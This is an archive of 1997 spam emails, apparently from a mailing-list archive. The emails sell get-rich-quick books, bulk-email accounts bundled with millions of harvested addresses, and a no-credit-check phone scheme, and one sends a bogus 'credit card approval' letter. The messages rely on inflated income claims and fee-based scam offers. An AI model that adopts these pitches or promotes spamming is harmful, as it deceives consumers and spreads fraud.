An 82-year old man comes up with novelty items like the "Good Egg" Award; a trophy with an egg on top, which he sells to manufacturers--who do all the work, and pay him a 5% royalty per sale!

Another California entrepreneur developed a method for pet lovers to document details of their animal's care, feeding, identification and vaccination records, using the identical color and design as real passports. After selling the idea to a large pet store chain, over 40,000 units have been sold nationwide, at $6.00 each!

A Utah woman ships packages containing a dozen chocolate chip cookies with a floral stem pushed through the middle. She started the business by advertising on in-flight airline magazines, taking orders by phone and shipping UPS. The result? $40,000 in sales the first year, with projected profits of $80,000 the next!

Is There Any Reason Why You Can't Do the Same?

The Kitchen Table Millionaire will show you how to use the proven, practical methods of successful entrepreneurs to build your financial independence... safely and inexpensively!

The Most Explosive Wealth Building Strategies in Existence:

- How to Turn Your Ideas Into Wealth
- Setting up and Registering Your Home-Based Business
- Invention Marketing... from A to Z
- Explosive Dynamarketing Strategies
- Financing: Venture Capital and Angels
- Mail Order Mastery
- Newspaper Classified Advertising
- Self-Publishing: How to Write Your Book Using Nothing But Some Loose Leaf Paper and a Tape Recorder!
- Cybermarketing on the Internet
- Electronic Direct Response: The Future of Marketing
- Per-Inquiry Advertising: How to Get Television, Radio and Print Ads with Little or No Cash
- Free Publicity in Newspapers, Radio and TV Nationwide
- Fairs and Trade Shows
- 900 Numbers: More than Just Sleaze and Psychics
- Auctions
- Paper Power: The Explosive New Real Estate Paradigm
- Financial Flourish: Keep Your Banker From Robbing You Blind
- Comprehensive Resource Directory
- And Much More!


Whether you've been searching for the right opportunity, or want to take your existing business into the stratosphere, The Kitchen Table Millionaire gives you the practical, proven techniques that will make success inevitable. But that's not all...

Order now during this exclusive offer and you'll also receive, FREE:

===> PowerSecrets!

- Save up to 90% on Air Travel
- 60% Savings on Five Star Hotel Rooms
- How to get Incredible Deals from Price Quote Companies
- Painlessly Pay Off a 30-Year Mortgage in Under 16 Years
- How to get Swift Results when You've Been Ripped Off
- How to Sell Your House Fast
- Slash Your Insurance Costs
- Lowest-Rate Credit Card Companies
- PowerSecrets for Boundless Energy
- Super Metabolism-Boosting Foods
- Triple Your Odds of Quitting Smoking
- Eliminate Hidden Toxins from Your Food
- Banish that Flabby Stomach... Permanently
- Get Professional Back Pain Relief Over the Telephone
- And Much More!


_/_/_/ Iron-Clad Guarantee _/_/_/

Your satisfaction with The Kitchen Table Millionaire is unconditionally guaranteed. There's no 30-day, 90-day or even a six month limit. If you're not 100% satisfied, simply return the book for a prompt refund.


_/_/_/ About the Author _/_/_/

P.W. Cochrane is an entrepreneur, broadcaster, speaker and home-based business consultant. He has appeared on television, radio and in print throughout North America--showing people how to turn their ideas into reality while avoiding the pitfalls of misinformation and schemes. Patrick resides in
La Jolla, California.

This is a limited time offer, and may be withdrawn without notice!

ORDER NOW!

Rush your check or money order for $19.95 U.S. ($16.95 + $3.00 s&h) to:

W&S Publishing
8070 La Jolla Shores Drive, Suite 243
La Jolla, CA 92037


=============== Print and Mail Order Form =====================

[  ] Yes! Enclosed is my check or money order for $19.95.
Please rush THE KITCHEN TABLE MILLIONAIRE and FREE
"PowerSecrets" bonus by Priority mail! I understand
if I'm not 100% satisfied I may return the book any
time for a full refund--there is no 30, 60 or even
90-day limit.


Name ____________________________________________


Address __________________________________________


City ______________________ State ______ Zip _________


*CA residents please add 8.25% sales tax.
**All U.S. orders promptly shipped by Priority mail.

===========================================================







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: xjlr56xcz@00799.com
Date: Thu, 9 Oct 1997 16:58:50 -0700 (PDT)
To: Friend@public.com
Subject: .
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Turn Your Ideas, Interests or Hobbies into a Lifetime Income, with...


******* THE KITCHEN TABLE MILLIONAIRE *******


Special LIMITED TIME OFFER Includes "PowerSecrets"... FREE!


_/_/_/ The Secret of Financial Freedom _/_/_/

Find something you love so much you'd do it for nothing, develop and market it, and the world will shower you with wealth! It starts with "The Four D's..." Dream, Discover, Develop, and Do it!" THE KITCHEN TABLE MILLIONAIRE provides all the tools you need!

Home-based business is a $380 billion industry. Ironically, the same technology responsible for massive layoffs and unemployment makes it possible for the average individual to run a prosperous home business out of a spare bedroom, the garage or even, yes, the kitchen table!

60,000 new home businesses are started across America every week. That's one every 11 seconds. Average income is $50,000--twice the national average employee salary. Success rates over a 3-year period are an astounding 85 percent, compared with just 20 percent in the traditional small business sector. An astonishing 90 percent of all home-based businesses succeed in the first year!

The key to success is not quick-buck schemes or wild goose chases. You need proven INFORMATION and RESOURCES.

The Kitchen Table Millionaire is a revolutionary new book that provides the explosive techniques necessary to develop any idea, then target the widest possible market, and effectively sell to that market. You can get started right away, in just a few hours a day, without interfering with your present job.

You don't have to be lucky, well-educated or come from a rich family in order to be successful. A recent survey of successful business owners showed that only 3 percent came from wealthy families. Nearly 50% came from the ranks of the poor or lower middle class. Only 29 percent finished college.

Thomas Carlyle said, "The true university of these days is a collection of books." The Kitchen Table Millionaire is the only book you need!


_/_/_/ What the Experts Say _/_/_/

"This extraordinary book could change your life! It will open your eyes to opportunities that you cannot now imagine. You should get it, read it, and apply it in your life. You will be astonished!"
- Brian Tracy, best-selling author of MAXIMUM ACHIEVEMENT and THE PSYCHOLOGY OF SUCCESS

"The Kitchen Table Millionaire provides the nuts, bolts and ideas to help you achieve your dreams of home business success."
- Carolyn Tice, Executive Editor, Home Business News; American Home Business Assoc.

"This easy to use book goes much deeper than its competition--full of innovative, step-by-step  advice about how to get your project off the ground."
- Opportunity Magazine

"Having spent most of my adult life self-employed, I've been approached with more money making opportunities than I could possibly imagine. Everyone wants to sell me "the book that can change my life forever." I've seen them all. And I've been distinctly unimpressed. But The Kitchen Table Millionaire caught my attention... and kept it. Cochrane's advice is
based on tried and true strategies, that, for the most part, the experts have kept secret."
- Author Anthony Trupiano, in THE BEST DEALS IN AMERICA TODAY


_/_/_/ What Readers Say _/_/_/

"The book is clear, concise, and most of all, it works! After applying the strategies, my consulting business grossed $6,000 in a single month, and continues to flourish, thanks to you!"
- F. J. Procopio, California

"I just finished your book and thoroughly enjoyed it as well as gained a lot of new ideas and knowledge from your expertise. I have to admit my favorite line in the book is on page 7, "Even if you win the rat race, you're still a rat."
- M.D. Foster

"I've been suckered by more than a few schemes in my search for reliable home business information. I bought courses by Brad Richdale and Carlton Sheets, and was very disappointed with the information I received. You really do walk the talk."
 - K.W., Alberta, Canada

"It's nice to know there is more out there than just get-rich-quick schemes and real estate hucksters. Thank you so much!"
- J. Rapp, California

"If you can't make money from reading this book, you can't make money."
- A. Jacobellis, Texas


_/_/_/ Extraordinary Success Stories of Ordinary People... Like You! _/_/_/

A San Jose, CA woman started a mobile paper shredding business off the back of a truck--and grossed $180,000 in her first year! Anthony Raissen launched BreathAsure on a single radio station--for free--and turned it into a multi-million dollar empire, virtually overnight!

An 82-year old man comes up with novelty items like the "Good Egg" Award; a trophy with an egg on top, which he sells to manufacturers--who do all the work, and pay him a 5% royalty per sale!

Another California entrepreneur developed a method for pet lovers to document details of their animal's care, feeding, identification and vaccination records, using the identical color and design as real passports. After selling the idea to a large pet store chain, over 40,000 units have been sold nationwide, at $6.00 each!

A Utah woman ships packages containing a dozen chocolate chip cookies with a floral stem pushed through the middle. She started the business by advertising on in-flight airline magazines, taking orders by phone and shipping UPS. The result? $40,000 in sales the first year, with projected profits of $80,000 the next!

Is There Any Reason Why You Can't Do the Same?

The Kitchen Table Millionaire will show you how to use the proven, practical methods of successful entrepreneurs to build your financial independence... safely and inexpensively!

The Most Explosive Wealth Building Strategies in Existence:

- How to Turn Your Ideas Into Wealth
- Setting up and Registering Your Home-Based Business
- Invention Marketing... from A to Z
- Explosive Dynamarketing Strategies
- Financing: Venture Capital and Angels
- Mail Order Mastery
- Newspaper Classified Advertising
- Self-Publishing: How to Write Your Book Using Nothing But Some Loose Leaf Paper and a Tape Recorder!
- Cybermarketing on the Internet
- Electronic Direct Response: The Future of Marketing
- Per-Inquiry Advertising: How to Get Television, Radio and Print Ads with Little or No Cash
- Free Publicity in Newspapers, Radio and TV Nationwide
- Fairs and Trade Shows
- 900 Numbers: More than Just Sleaze and Psychics
- Auctions
- Paper Power: The Explosive New Real Estate Paradigm
- Financial Flourish: Keep Your Banker From Robbing You Blind
- Comprehensive Resource Directory
- And Much More!


Whether you've been searching for the right opportunity, or want to take your existing business into the stratosphere, The Kitchen Table Millionaire gives you the practical, proven techniques that will make success inevitable. But that's not all...

Order now during this exclusive offer and you'll also receive, FREE:

===> PowerSecrets!

- Save up to 90% on Air Travel
- 60% Savings on Five Star Hotel Rooms
- How to get Incredible Deals from Price Quote Companies
- Painlessly Pay Off a 30-Year Mortgage in Under 16 Years
- How to get Swift Results when You've Been Ripped Off
- How to Sell Your House Fast
- Slash Your Insurance Costs
- Lowest-Rate Credit Card Companies
- PowerSecrets for Boundless Energy
- Super Metabolism-Boosting Foods
- Triple Your Odds of Quitting Smoking
- Eliminate Hidden Toxins from Your Food
- Banish that Flabby Stomach... Permanently
- Get Professional Back Pain Relief Over the Telephone
- And Much More!


_/_/_/ Iron-Clad Guarantee _/_/_/

Your satisfaction with The Kitchen Table Millionaire is unconditionally guaranteed. There's no 30-day, 90-day or even a six month limit. If you're not 100% satisfied, simply return the book for a prompt refund.


_/_/_/ About the Author _/_/_/

P.W. Cochrane is an entrepreneur, broadcaster, speaker and home-based business consultant. He has appeared on television, radio and in print throughout North America--showing people how to turn their ideas into reality while avoiding the pitfalls of misinformation and schemes. Patrick resides in
La Jolla, California.

This is a limited time offer, and may be withdrawn without notice!

ORDER NOW!

Rush your check or money order for $19.95 U.S. ($16.95 + $3.00 s&h) to:

W&S Publishing
8070 La Jolla Shores Drive, Suite 243
La Jolla, CA 92037


=============== Print and Mail Order Form =====================

[  ] Yes! Enclosed is my check or money order for $19.95.
Please rush THE KITCHEN TABLE MILLIONAIRE and FREE
"PowerSecrets" bonus by Priority mail! I understand
if I'm not 100% satisfied I may return the book any
time for a full refund--there is no 30, 60 or even
90-day limit.


Name ____________________________________________


Address __________________________________________


City ______________________ State ______ Zip _________


*CA residents please add 8.25% sales tax.
**All U.S. orders promptly shipped by Priority mail.

===========================================================







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 12444880@LC.Enterprises
Date: Sat, 11 Oct 1997 10:51:15 -0700 (PDT)
To: Friend@public.com
Subject: For Immediate Release
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
We placed an ad in one small area of the Internet.  And when
the dust started to settle we had over six thousand responses
in ten days.

(LC Enterprises)
-----------------------------------
For Immediate Release:   Denver, October 10, 1997

COLORADO  MARKETING  FIRM  SHARES  MONEY
GENERATING  TRADE  SECRETS  ON  THE  INTERNET!
-----------------------------------

Hello,

My Name is Shannon Johnson.  I am CEO of LC Enterprises.  
I have to tell you that I am really angry and upset about 
what is going on here on the Internet.  We at Success 
Concepts are so angry, in fact, that we decided to do something
about it.  Read on and you'll see.

For three years I have lead my marketing firm in sales campaigns on
the Internet and the other large online services which have yielded
outstanding results!  We are now sharing the information we have
gained over the last several years with other people who are 
desperately trying to figure out how to make a substantial income 
from their home computers.

Do you know what it's like to turn your computer on in the morning to
find an email box full of orders for your product.....Where it takes 
over an hour to sift through just the credit card orders alone?
We do!

Do you know what it's like to have the postman bring you a bag full 
of orders for products you have marketed on the Internet, and then 
hear him complain about all the mail you get?
We do!

Do you know what it's like to place a simple ad into a newsgoup or
classified section on the Internet and have your Order Department's
phone ring off the hook with people who want to buy your product.
We do!

Have you ever placed just one advertisement on the Ineternet and when
the dust settled ten days later had over 6,000 responses by phone,
fax, mail, and email?
Well....we did in January of this year!

Have you ever tried to market something simple on the Internet, only
to have weeks or months of toil and effort result in only a few 
sales, if any?
Well....that's happened to us too.  But not since we learned the 
secrets!!!

You see, we found the "secrets" to marketing just about anything on
the Internet.  And it is really quite simple, once you know them.

Imagine this.  You decide to make a second, or even a primary
income from the Internet.  So, you put up a Web Site, get a mess
of email follow-up letters ready, put your Web Site in several 
hundred search engines (people gotta find your page...right), get in 
the News-Groups and advertise your site, and drop hundreds of 
classified ads all over the Net.  There ya go.....now you are going 
to rake in the cash!
Two weeks later you have one sale and you are telling your spouse
and your friends that "This will take time! "  Four months later 
you've made just enough to pay for your web space and your friends 
don't listen to you anymore.  They consider you an "Internet Marketer
Wanna Be".  Sound familiar!

We are not trying to rub salt in your wounds.  What we are trying to
do is let you in on the TRUTH about doing business from your home
on the Internet. Let's face it.  The vast majority of people who are
trying to earn a living on the Internet are STARVING!!!  That's 
right! They don't have a clue of what to do first, second, third or 
fourth!  And even if they do have a clue they have been lead down the 
garden path with dreams and silly techniques which don't work and are 
breaking the hearts of thousands of people who are just trying to 
make a living from their home computers.  That is what we are so 
upset about at Success Concepts!

But, it doesn't have to be that way!  People don't have to really 
FAIL at making a good income on the Internet.  And it really doesn't 
have to take months or even years to learn how to do it.  Not if you 
have the right guide to show you what to do, and when to do it.

    THE GUIDE  (No More Broken Dreams on The Internet)

is the name of our informative guide to generating orders, money, 
cash, on the Net.  It was written with the "average" Netrepreneur in 
mind, in plain English, with straight to the point "How To" and "Why 
Do You Do" phraseology.

In......

    THE GUIDE  (No More Broken Dreams on The Internet)

we expose all the traps WE fell into in our first year of Internet 
Marketing, but stay away from now.  We expose the lies and half 
truths which people have fallen for in the past.  We expose the 
SECRETS which most of the successful Internet Marketers really DON'T 
WANT YOU TO KNOW! Because, when you know the secrets you will be off 
and running in... that's right......THEIR BACKYARD....the Cyberspace 
Marketplace!

THERE IS ROOM FOR A LOT MORE OF US!

There are millions of people on the Internet.  And there are millions
of more people on the way here.  The pie which will be cut up is
so huge that several hundred more people who know what they are
doing will not even make a dent in our income level. It will just be 
a drop in the bucket so to speak.

    THE GUIDE  (No More Broken Dreams on The Internet)

will expose the Ineternet for what it really is, the marketplace 
which can provide you with a steady income.  It will literally show 
you what to do first, second, third, fourth, and so on.

You are about to discover exactly what makes the difference between
the "Internet success stories," and the obscure "Web Marketing 
Failures."

This guide will give you all the details, the tools,  the ideas, and 
the resources to help you make all of your INTERNET DREAMS come 
true...

Finally, the truth is revealed!  Find out the secrets that some of 
the wealthiest Internet marketers are using to propel their sales 
through the Cyberspace roof.

    THE GUIDE  (No More Broken Dreams on The Internet)

Will show you:

** How to use Newsgroups to your advantage.  The tricks!
    Just placing a few ads just won't do it for you!

** How to use a sig file to get more orders.  They look simple, but 
    if you write your Sig correctly it can be a GOLD MINE to you. We 
    generate thousands just from our sigs!

** How to place your web page at the top of the search engines.
If you don't get close to the top you can forget many hits!

** How to maximize your web sales using a professional looking web 
page (that you can build all by yourself).

** All about follow-ups and how to do them using email.
A very simple technique which can mean rapidly increasing volume to
you.  This technique is used by some of the top Internet Marketers.

** How to effectively build mailing lists on the internet.
Without lists your business will probably perish!

** Special Coding Techniques which can make your Marketing efforts
amaze even the most die hard skeptics

** Where and how to place thousands of FREE classified ads.
What to say in them, and what to expect when you place them.

** What products you should or shouldn't market for quick results

** How to use Testimonials...

** The importance of tracking your marketing results.

** The importance of a "back-end".

** A step by step guide to get you started IMMEDIATELY!

** And much, much more...

Here is what some people who turned their Internet Marketing
results from failure to success have to say about "The Guide":

I thought all I had to do was place some classified ads on the Net 
for my flame retarding spray.  Every night after work I would place a
few ads and answer some questions in email.  I never made much
money at all.  Then I read THE GUIDE and everything turned around!
I'm looking at leaving my job now.  And their newsletter keeps me up
to date with all the new things I need to know to keep on track with
my business.

Bill J.
St. Louis,  MO

I started Internet Marketing in the Chat Rooms on AOL.  What
a joke that was!  Nobody ever told me it would take so long to
make any money that way.  Then I read the 'The Guide." The
Chat Rooms, Internet Newsgroups, Web Sites, and email all
make me money now.  And it wasn't all that hard either.  I just
didn't know the secrets before.  But I do now!!!  The Internet is
huge, and I've just started getting my share!

Ann  W.
Houston,  TX

    THE GUIDE  (No More Broken Dreams on The Internet)

is usually only offered to our marketing clients.  With all the 
garbage we have seen on the Internet in the past few months we have 
decided to offer "The Guide" to everyone reading this advertisement.  
Our clients have paid $99.95 for "The Guide" and have felt that it 
was a real bargain for that price.  "The Guide" has now gone into it 
SECOND Edition and we feel that we should open it up to just about 
anyone's financial budget. At least for a limited time.

    THE GUIDE  (No More Broken Dreams on The Internet)

is being offered to you, for a limited time, for only $24.95!!!  
That's correct!  That's a full $75 off the regular price.  Once 200 
more or so orders have been placed at this price we will take "The 
Guide" off of the sale counter and move the price back to $99.95.  
But, why offer this for such a deep discount?  It's simple.  Success 
Concepts feels that the time is right for this information to become 
more available on the Net.  But we aren't marketing fools either. The 
Guide holds a Copyright, and will only be offered at this very deeply 
discounted price for a very limited time.

(There is some Joker on the Net who is trying to sell LESS 
information without our two bonus offers to follow for $395.00.  That 
is ridiculous!!!)

FIRST BONUS OFFER:

If you order within the next 3 days we will include:

** Bulk Email Secrets...This information could save you 
   hundreds of dollars in mailing costs, and more importantly
   it could keep you from losing your ISP.  You'll get the details
   on how to:
--use bulk email to explode your profits
--prevent losing your dialup account
--find the right product(s) to market by bulk email.
--find the correct software to use.

   You will also learn:
--Where to find reliable bulk email servers.
--Where to purchase the very best email software
       on the market today.
--And much, much more.

PLUS!!!

** Free access to our private download site.  Here you will
   find hundreds of FREE informative reports to use or sell
   on the internet.  You will find helpful programs that we
   use to make our marketing efforts more effective.  You will
   also find 25,000 email names, FREE for you to download
   to help you get started.  These are fresh names that you
   can use to market your business.  These names are changed
   weekly and you can download as often as you like.

Once again all of this is yours for only $24.95, plus $3.00 S&H....
so order now!

SECOND BONUS OFFER:

Not many people want to do this Internet Marketing thing alone.
Now you won't have to.  Those who order "The Guide" by October 31
will be placed on our very select "The Guide Electronic Newsletter"
where you will receive the latest tricks and "HOW TOs" in Internet
Marketing.  Tricks which the big boys find out about first.  Now you 
will be right in line to find them out quickly, so you can capture 
the market.

 ***OUR BETTER THAN RISK-FREE GUARANTEE!!!***

Order the book today and receive the two bonuses absolutely
FREE...Read over the book, follow the step by step guide, 
contact the resources listed, and if for any reason you are 
not fully satisfied with the book you can return it within 30 days
for a full refund, AND you get to keep the bulk email report, and
email names from the FREE download site.  

It's easy to do, so order today and take advantage of this
BETTER THAN RISK-FREE OFFER before "The Guide"
is moved back to the regular price.

For a 3 minute RECORDED audio presentation call:

1-800-935-5171 ext. 1826

SO ORDER NOW...

EMAIL:

Complete the following form (Credit Card Orders) and email to:

ucan2@premierservices.com

Make sure that your Subject heading is "Dreams Order"

or

POSTAL MAIL:
PRINT out the following form and mail to:

LC Enterprises
Dept. 1232A
P.O. Box 10003
Clarksville, TN  37042


___________________Cut Here___________________

__Yes, I am tired of Broken Dreams...I am ordering "The Guide" well
within the allotted time period and would like both the Bulk Email 
Report and the Private Download Site bonuses. Plus I want to be 
placed on your very select mailing list for "The Guide Electronic 
Newsletter".....all for only $24.95 + $3 S&H.

__I did not order within 3 days but would still like to take 
advantage of your  THE GUIDE  (No More Broken Dreams on The Internet) 
for only $24.95 + $3 S&H and be placed on your very select mailing 
list for "The Guide Electronic Newsletter"

----[[[ Do Not Remove This Code -->( BT ) ]]]

NAME:___________________________________________________

ADDRESS:________________________________________________

CITY:__________________________________STATE:_____________

COUNTRY:________________ZIP\COUNTRY CODE:______________

PHONE:________________________FAX:_______________________

EMAIL ADDRESS:___________________________________________

Please Circle Mode of Payment.

Check          Money Order       Credit Card

If Paying by Credit Card Please Circle Type of Card.

Visa          M/C          AM EX          Discover

Credit Card #:___________________________exp date:_____/______

Name on card:______________________________________________

Signature:__________________________________________________

TOTAL AMOUNT INCLUDED:  $27.95

Add $10 for Internation Orders.

Make checks payable to:  LC Enterprises.

Send to:

LC Enterprises
Dept. 1232A
P.O. Box 10003
Clarksville, TN  37042
                                                
Code:  BT
________________Cut Here_____________________________

LC Enterprises

Trying doesn't always work on the Net.  
Find out why "The Guide" works. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sales@consumersgroup.com
Date: Sat, 11 Oct 1997 14:58:03 -0700 (PDT)
To: cusotmer@consumerland.com
Subject: Great Products to Improve Yourself and Your Life
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
	Great products to improve yourself and improve your life.  Visit
Consumers Integrity Groups Web site at www.consumersgroup.com.  We have
many books, guides, and literature on  self help and  financial  improvement.  All
offers are 100% guarenteed.  Here's  our current list of great products;

	- Web Wealth, by Dr. Jeffrey Lant, 248 pages.  How to turn the World Wide Web 
                   into a cash flow machine for you and/or your business.
	- The Insiders Guide to Credit Cards, by Barry Klien, 80 pages.  Best credit
                   card rates of the top 96 credit cards with all addresses and toll free #'s.  Great book.
	- The Action Guide to Government Auctions & Real Estate, 235 pages. 
                   Everything you need to know about government auctions and real estate.
	- Credit Information Guide, by R.D. Kincannon.  How to correct  and remove
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	- Money Making 900 Numbers, by Ginsberg and Mastin. 336 pages.  Learn how
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If you would like to be removed from our list please click here. http://209.30.49.41/remove.htm


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 07607928@grandbikes.com
Date: Sat, 11 Oct 1997 14:09:27 -0700 (PDT)
To: Friend@public.com
Subject: NEW !       DIGITAL / CELL PHONE !       NEW !
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain



                              DO YOU WANT THE SECURITY OF A
                                   DIGITAL / CELLULAR PHONE


                WITH NO DEPOSIT , NO CREDIT CHECK , NO PREPAY
                                 AND NO PENALIZING RATES ?

      
            EXAMPLE :  .10 AIRTIME / MIN .  &  .15 LD ,  24 HRS.  7 DAYS


                   THIS IS YOUR GROUND FLOOR OPPORTUNITY TO
                   GET THE PHONE AND/OR EARN BIG BUCKS NOW !
         
     AT THE PHONE COMPANY IF YOUR CREDIT IS LESS THAN PERFECT
     YOU CAN'T  GET A CELL PHONE WITHOUT A  DEPOSIT OR A PREPAY 
     AND/OR  INFLATED RATES , BUT NOT SO WITH US , WE DO NOT
     DISCRIMINATE .YOU GET THE PHONE , NO QUESTIONS ASKED ,THE
     SAME RATES AS EVERYONE ELSE AND YOU CAN EASILY EARN THE
     MONEY TO PAY YOUR PHONE BILL AND MUCH , MUCH MORE !
         
       *   WE ARE A LEADER IN THE TELECOMMUNICATIONS INDUSTRY WITH   
           MANY PRODUCTS AND SERVICES. WE ARE TARIFFED /REGISTERED
           IN EVERY STATE. WE ALSO OFFER  9.9 c  +  1 PLUS DIALING .
         
       *   DUAL COMPENSATION PLAN OFFERS BIG UPFRONT $$$.
         
       *   WE ARE THE ONLY , THE ONLY COMPANY TO OFFER THIS EXCITING
            OPPORTUNITY, THAT CAN PRODUCE 100'S OF NEW MILLIONAIRES I
       
       *   THERE ARE 30/40 MILLION FOLKS WHO CANNOT GET A CREDIT CARD
            OR A CELLULAR PHONE BECAUSE OF CREDIT , SO YOUR MARKET IS
           30/40 MILLION PEOPLE , WE WILL TAKE THEM ALL.
         
            NO DEPOSIT, NO CREDIT CHECK, NO PREPAY, NO ROAM CHARGE I
         
             FOR MORE DETAILS AND AN APPLICATION PLEASE VISIT OUR WEB
             SITE AT:
         
                          HTTP://WWW.DATATAMERS.COM/~DIGIPHONE

                                                             OR

                         E MAIL US AT :  DIGIPHONE@DATATAMERS.COM
         

         
            If you received this notice in error, please delete and we apologize
            for the intrusion. Sorry :-(  If you wish your address to be removed from
            our list please e mail us at : remove@grandbikes.com

         
         
         
         

         






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cte@nevwest.com
Date: Thu, 16 Oct 1997 21:51:31 -0700 (PDT)
To: friend@public.com
Subject: Thursday $329
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for your email, here's something you can really use.....

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
               BULK E-MAIL FRIENDLY ACCOUNTS. 
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

       THE INTERNET IS EXPLODING!!! DON'T GET LEFT BEHIND.
   E-MAIL IS MORE RESPONSIVE THAN ANY OTHER FORM OF ADVERTISING. 

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

====================================================================
"INSTANT" BULK E-MAIL ACCOUNT. Includes 3 months service, setup, and
ONE MILLION E-mail addresses on CD-ROM. ONLY $350.00 COMPLETE!!!
        ORDER BY 1:00 PM, BE UP BY 4:00PM the SAME DAY
      Visit our web site "http://www.nevwest.com   
====================================================================

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

WHY DO I NEED A BULK EMAIL ACCOUNT? SO YOU CAN..
Fill YOUR Downline..sell YOUR Book..sell YOUR Service..sell YOUR products..
expose YOUR web site..whatever YOU want to advertise..FOR  FREE!!!!

UNLIMITED E-MAILING!
No limit to how many e-mails you can send. Imagine the possibilities. 
Be on a level playing field with the big boys. All accounts come with 
Email redirect to your own mailbox

FREE ACCESS WITH YOUR REGULAR ISP!
You access CTE simply by logging on to your regular ISP, then POP in 
with your present e-mail program. You are then automatically connected 
to CTE's servers with multi T-1 access. 

PROTECT YOUR PRIMARY ISP ... PERMANENTLY.
Cybertize-Email shelters your primary ISP address, and provides you 
with a 100% safe and permanent ISP, for a reliable, Bulk Email FRIENDLY, 
mailing point. Unlimited e-mails, bomb proof, non dial-up. 
Web Page hosting and e-mail addresses.

USER SUPPORT SERVICES.
Cybertize-Email can also provide you with Web Page hosting and FREE classified advertising on our website. Post your classified ad for FREE for 3 months at a 
time, renew every 3 months for FREE. 

GOT A WEB PAGE??? 
Great so do over 10 MILLION others, your Web Page probably

stands out like..

A GRAIN OF SAND ON THE BEACH

Send bulk email and direct them to your website on our servers. 
Watch your orders SOAR!!

Visit our web site "http://www.nevwest.com

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
"INSTANT" BULK E-MAIL ACCOUNT. Includes 3 months service, setup, and
ONE MILLION E-mail addresses on CD-ROM. ONLY $299.00 COMPLETE!!!
        ORDER BY 1:00 PM, BE UP BY 4:00PM the SAME DAY
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

OTHER ACCOUNTS

Basic Bulk Mail Account (NO MINIMUM)  Only $99.00* 1st month, $125 thereafter
Silver 3 month Bulk mail account ......  Only $99.00* per month ($297.00 Qtr)
Gold 6 month Bulk mail account  .......  Only $89.00* per month ($534.00 6 mo)
Platinum 12 month Bulk mail account ...  Only $79.00* per month ($948.00 Year)
*Set up charges $99.00 one time, includes domain registration, setup, etc.

WE HAVE UP TO 30 MILLION EMAIL ADDRESSES ON CD-ROM.  
         ONLY $99.00 PER MILLION

http://www.nevwest.com

or call 702-313-1100

-------------------- FREE CTE REGISTRATION -----------------
[  ] Yes, I'm in! I want a Nuke-Proof bulkmail friendly e-mail account.
Hit reply, complete your details below and send to: 
cte@nevwest.com or call 702-313-1100 M-F 9-5 PST

FULL NAME:__________________________________________
ADDRESS:____________________________________________
City:____________________ St.__________ Zip_________
Phone #_____________________________________________
E-MAIL:_____________________________________________

YOU CAN BE ONLINE NOW!!










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dfrntdrums@aol.com
Date: Fri, 24 Oct 1997 12:21:29 -0700 (PDT)
To: Friend@public.com
Subject: Loose Weight Now
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Learn how to trim the dead fat...
Ask me how...
dfrntdrums@aol.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: martian@rt66.com
Date: Mon, 20 Oct 1997 11:38:45 -0700 (PDT)
To: Friend@public.com
Subject: Save Water... ask me how!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Ask me how to save water.
http://www.rt66.com/martian




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CCSI@westcoastmemory.com
Date: Sat, 25 Oct 1997 12:21:33 -0700 (PDT)
To: Friend@public.com
Subject: INTERNET  CREDIT CARD APPROVAL
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


INTERNET  CREDIT CARD APPROVAL LETTER
(Account activation hotline: 1 702 256-3000)

CASH ADVANCE APPROVED: YES
APPROVAL NUMBER: 501-7046176
CREDIT LIMIT: $2,500.00
APPROVAL EXPIRES: 11/10/97
CREDIT PROVIDER: CCS
BANK AFFILIATION: NONE
CARD ISSUED: CASHPLUS
MEMBER STATUS: PENDING
ANNUAL FEE: NONE
APR: 11.99%

DEAR FUTURE CARD HOLDER:

Congratulations! You have been approved for a $2,500.00
unsecured credit line from the Financial Card Division of CCS 
regardless of past credit.

Your approval number is 501-7046176 and your Approved credit
line of $2,500.00 for credit purchase and cash advances will be
available once your receive you CashPlus card* just by calling now!

As a membership benefit, you will be processed** for an unsecured 
major credit card with a credit line of up to $1,000.00 regardless 
of past credit.

SEND NO MONEY NOW- There is NO SECURITY OR MONEY DEPOSITS 
required! Call IMMEDIATELY with the approval number to activate your
membership and its benefits.

BY ACTING NOW- We'll assign your CashPlus Card within the next 48
hours and then apply your one-time membership fee by the payment method
you prefer and give you $100.00 off your first credit purchase of over 
$200.00 with the CashPlus Card just by calling now!

Getting more credit is as simple as calling us today to activate your 
membership and obtain your pin code for cash advances before your
approval expires. So get the credityou deserve - CALL NOW -  100%
Quality assurance and no less!

CALL RIGHT NOW!
********** 1- (702) 256-3000 **********
FOR IMMEDIATE ACTIVATION AND
